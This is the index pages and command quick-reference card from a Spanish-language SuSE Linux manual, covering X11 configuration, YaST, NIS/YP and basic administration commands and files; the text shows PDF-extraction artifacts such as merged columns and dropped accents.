TCP-Wrapper . . . . . . . . . . . 408 TSI . . . . . . . . . . . . . . . . 199, 208 V
TCP/IP . . . . . . . . . . . . . . . . . 163 tunelp . . . . . . . . . . . . . . . . . . 286 Vadem . . . . . . . . . . . . . . . . . 137
tcpd . . . . . . . . . . . . . . . . . . . . 408 Tux . . . . . . . . . . . . . . . . . . . . . . 6 Variable de entorno . . . . . . 452
tcsh . . . . . . . . . . . . . . . 451, 460 Twm . . . . . . . . . . . . . . . . . . . 243 Ventana . . . . . . . . . . . . . . . . 453
te_dvilj . . . . . . . . . . . . . . 292 Ventana de terminal . . . . . 469
Teclado U VESA . . . . . . . . . . . . . . . . . . 240
CapsLock . . . . . . . . . . . . 388 uart401 . . . . . . . . . . . . . . . . . 276 Vesa Local Bus . . . . . . . . . . . 57
Distribucin . . . . . . . . . . 388 ugidd . . . . . . . . . . . . . . . . . . 160 VG-AnyLAN . . . . . . . . . . . 338
NumLock . . . . . . . . . . . . 388 Ultrastor . . . . . . . . . . . . . . . 318 vi . 4, 378, 419, 434, 435, 442
Repiticin . . . . . . . . . . . . 388 Umgebungsvariable virtuoso . . . . . . . . . . . . . . . . . 61
Retardo . . . . . . . . . . . . . . 388 $allowed . . . . . . . . . . . . . 297 Virus . . . . . . . . . . . . . . 109, 469

504
ndice de Materias

Visualizador externo wvdial . . . . . . . . . . . v, 179182 Display . . . . . . . . . . . . . . . 239


SuSEFax . . . . . . . . . . . . . 197 wvdial.lxdial . . . . . . . . . . . . 181 Viewport . . . . . . . . . . . . . 239
VLB . . . vase Vesa Local Bus wvdial.tcl . . . . . . . . . . . . . . 181 Virtual . . . . . . . . . . . . . . . 239
VLSI . . . . . . . . . . . . . . . . . . 137 WWW-Server . . . . . . . . . . . 471 XF86Setup . . . . 219, 236, 240
xfontsel . . . . . . . . . . . . . . . . 264
W X xformsd . . . . . . . . . . . . . . . 360
w . . . . . . . . . . . . . . . . . . . . . . 425 X . . . . . . . . . . . . . . . . vase X11 XFree configurar . . . . . . . . 101
Wabi . . . . . . . . . . . . . . . . . . . . 61 X -probeonly . . . . . . . 235, 236 XFree86TM . . . . . . . . . . . . . 219
WAN . . . . . . . . . . . . . . 163, 453 X Consortium, Inc. . . . . 4, 219 xfsetup . . . . . . . . . . . . . . . 219
WD80x3 . . . . . . . . . . . . . . . 339 X Window System . . 219, 453 xglint . . . . . . . . . . . . 357, 358
Western Digital WD80x3 339 X-Server . . . . . . . . . . . . . . . 453 xinetd . . . . . . . . . . . . . 390, 409
WfW . . . . . . . . . . . . . . . . . . 428 X-Window-System vase X11 xinetd . . . . . . . . . . . . . . . . 409
wget . . . . . . . . . . . . . . . . . . . 393 X.75 . . . . . . . . . . . . . . . . . . . 171 xinfo . . . . . . . . . . . . . . . . . . . . 8
wget . . . . . . . . . . . . . . . . . . . 364 X11 . . . . . . . . . . . . . . . . . . . . 219 XInfo . . . . . . . . . . . . . . . . . . . . 8
Wide Area Network . . . . vase .Xresources . . . . . . . . . . . 263 XInfo (xinfo) . . . . . . . . . . 380
WAN Ajustes personalizados . 263 xlpq . . . . . . . . . . . . . . . . . . . 288
Widget . . . . . . . . . . . . . . . . . 262 Configuracin . . . . 220, 229 xlsfonts . . . . . . . . . . . . . . . . 264
Wildcards . . . . . . . . . . 418, 453 Monitores . . . . . . . . . . . . . 230 xntp . . . . . . . . . . . . . . . . . . . 393
Window . . . . . . . . . . . . . . . . 262 Mouse . . . . . . . . . . . . . . . . 229 xpmroot . . . . . . . . . . . . . . . . 248
Windowmanager . . . . . . . . 241 Servidor X . . . . . . . . . . . . 232 xrpm . . . . . . . . . . . . . . . . . . . 366
Ajustar . . . . . . . . . . . . . . . . 98 Teclado . . . . . . . . . . . . . . . 230 xscanimage . . . . . . . . . . . . . 284
Configuracin . . . . . . . . 262 Displaymanager . . . . . . . 394 xsetroot . . . . . . . . . . . . . . . . 250
Fvwm2 . . . . . . . . . . . . . . 245 iniciar . . . . . . . . . . . . . . . . 229 XT-controladora de disco 330
Inicio . . . . . . . . . . . . . . . . 246 Inicio lento . . . . . . . . . . . 261 xterm . . . . . . . . . . . . . . 164, 248
Tareas . . . . . . . . . . . . . . . . 243 Optimizacin . . . . . . . . . 236 xv . . . . . . . . . . . . . . . . . . . . . 248
$WINDOWMANAGER 245, Shutdown . . . . . . . . . . . . 394 xvga16 . . . . . . . . . . . . . . . . 219
247 Tarjetas de vdeo . . . . . . 231 Xwrapper . . . . . . . . . . . . . . 357
Windows . . . . . . 201, 202, 471 X11R1 . . . . . . . . . . . . . . . . . 219
Montar Shares . . . . . . . . 360 X11R6.3 . . . . . . . . . . . . . . . 219 Y
Samba . . . . . . . . . . . . . . . 393 x3dlabs . . . . . . . . . . . . . . . 358 yast
SMB . . . . . . . . . . . . . . . . . 209 X-Window-System . . . . . . 236 RDSI . . . . . . . . . . . . . . . . 167
Windows . . . . . . . . . . . . . . 209 xarchie . . . . . . . . . . . . 262, 263 yast . . . . . . . . . . . 6, 17, 33, 73
Windows NT . . 192, 209, 428, xcyrix . . . . . . . . . . . . . . . . 358 YaST . . . . . . . . . . . . . . . . . 6, 73
452 xdm . . 98, 252, 353, 357, 388 LILO . . . . . . . . . . . . . . 93, 94
Arrancar . . . . . . . . . . . . . 122 XDM . . . . . . . . . . . . . . . . . . . 98 Actualizar sistema . . . . . . 90
Bootmanager . . . . . . . . . 107 xdvi . . . . . . . . . . . . . . . . . . . 411 Administracin . . . . . . . . 90
Gestor de arranque . . . . 107 XDvi . . . . . . . . . . . . . . . . . . 411 Administracin de grupos . .
Windows 95 Xenix . . . . . . . . . . . . . . . . . . 428 101
Arrancar . . . . . . . . . . . . . 121 xf86 . . . . . . . . . . . . . . . . . . . 312 Administracin de usuarios
Generar particiones Linux . . xf86config 219, 229, 235, 236, 100
46, 47 240 Ajustes . . . . . . . . . . . . . . . . 74
Modo DOS . . . . . . . . . . . . 41 XF86Config . . . . . . . . . . . . 229 Arranque del kernel . . . . 93
Windows 98 . . . . . . . . . . vase Clocks . . . . . . . . . . . . . . . 239 Backup . . . . . . . . . . . . . . . 102
Windows 95 Depth . . . . . . . . . . . . . . . . 239 Comprobar dependencias de
Windows 9x Device . . . . . . . . . . . . . . . 238 paquetes . . . . . . . . . . . . . 88
Men de arranque . . . . . 129 Device-Section . . . . . . . . 239 Configuracin de arranque .
WinFlex . . . . . . . . . . . . . . . . 202 Driver . . . . . . . . . . . . . . . . 238 93
WinFlex . . . . . . . . . . . . . . . 202 modeline . . . . . . . . . . . . . 239 Configuraciones . . . . . . . . 84
WINS . . . . . . . . . . . . . . . . . . 210 Modes . . . . . . . . . . . . . . . 239 Configurar escner . . . . . 90
Wm2 . . . . . . . . . . . . . . . . . . 243 Monitor . . . . . . . . . . . . . . 238 Configurar impresora . . . 91
Wrapper Monitor-Section . . . . . . 240 Configurar lector CD-ROM
SuSEFax . . . . . . . . . . . . . 192 Screen-Section . . . . . . . . 237 90
wuftpd . . . . . . . . . . . . . . . . . 357 Subsection Configurar modem . . . . . 90

505
ndice de Materias

Configurar mouse . . . . . . 90 Listado de las series y YP


Configurar tarjeta de red 90 paquetes . . . . . . . . . . . . . 88 Configurar cliente . . . . . . 96
Contenido de la instalacin . Medio de instalacin . . . . 79 Domainname . . . . . . . . . 392
84 Men principal . . . . . . . . . 73 Server . . . . . . . . . . . . . . . . 392
Crear sistema de ficheros 76 Paquetes borrar . . . . . . . . 89 yp.conf . . . . . . . . . . . . . . . . . 158
Definir idioma . . . . . . . . . 74 Particionar . . . . . . . . . . . . . 74 ypbind . . . . . . . . . . . . . . . . . 158
Definir mountpoint . . . . . 77 Red . . . . . . . . . . . . . . . . . . . 95 ypclient . . . . . . . . . . . 96, 157
Densidad de inodes . . . . . 78 Respaldo . . . . . . . . . . . . . 102 ypserv . . . . . . . . . . . . . . . . 159
Seleccin de paquetes . . . 85 ypserver . . . . . . . . . . . . . . . . 158
Fichero de configuracin . . .
Seleccin de series . . . . . 85
101
susewm . . . . . . . . . . . . . . . 98
Formatear . . . . . . . . . . . . . 78 Z
Teclas de funciones . . . . . 73
Instalar nuevo hardware . 90 xdm . . . . . . . . . . . . . . . . . . . 98 ZIP-disquetera
Instalar paquetes . . . . . . . 88 XFree . . . . . . . . . . . . . . . . 101 Puerto paralelo . . . . . . vase
kdm . . . . . . . . . . . . . . . . . . . 98 YaST . . . . . . . . . . . . . . . . . . . . 73 Hardware, Puerto paralelo
fstab-fichero leer . . . . . . 79 Yellow Pages . . . . . . vase YP Zona horaria . . . . . . . . . . . . 387

506
Referencia: Comandos y ficheros importantes
Los espacios (ingl. blanks) de los comandos son separadores y son impor-
tantes para que se acepten los comandos; hay que introducirlos con la tecla
espaciadora. Ver tambin la leyenda en el apartado 1.3, Pgina 6.

Informacin y documentacin
less <fichero> visualizar fichero de texto
cd <directorio> cambiar a un directorio
(falso: cd Directorio plaga de DOS)
ls -l <dir_o_fichero> ver contenido directorio o propiedad fichero
rpm -qi <paquete> informacin sobre un paquete
man <comando> Manpage sobre un comando
/usr/doc/howto HOWTOs que contestan muchas preguntas
/usr/doc/packages/* documentacin acerca de los paquetes
/usr/doc/packages/i4l/README.Quick
documentacin actual sobre RDSI

Ficheros de configuracin generales y registros


~ sinnimo para el directorio Home
/etc directorio de ficheros de configuracin
/etc/conf.modules carga automtica de mdulos
/etc/rc.config fichero de configuracin principal de SuSE Linux.
/etc/rc.config.d directorio de componentes de /etc/rc.config
/etc/profile fichero de configuracin de la shell de login (bash)
/etc/profile.d directorio de componentes de /etc/profile
~/.profile extensiones personalizadas de /etc/profile
ver ~/.bashrc y ~/.bashrc_login

/var/log directorio de registro de mensajes del sistema


/var/log/messages registros generales de mensajes del sistema
/var/log/boot.msg mensajes del kernel durante el arranque

Arranque del sistema


/etc/lilo.conf fichero de configuracin del LILO
/sbin/init.d directorio con scripts de arranque

Configuracin del Sistema X Window


/etc/XF86Config fichero de configuracin del servidor X
~/.X.err mensajes del servidor X
/var/X11R6/bin/X --> /usr/X11R6/bin/XF86_xxxx el servidor X

Red
/sbin/ifconfig mostrar configuracin de las interfaces de red
/sbin/route -n mostrar tabla de routing
ping <nmero IP> probar acceso a un host

Potrebbero piacerti anche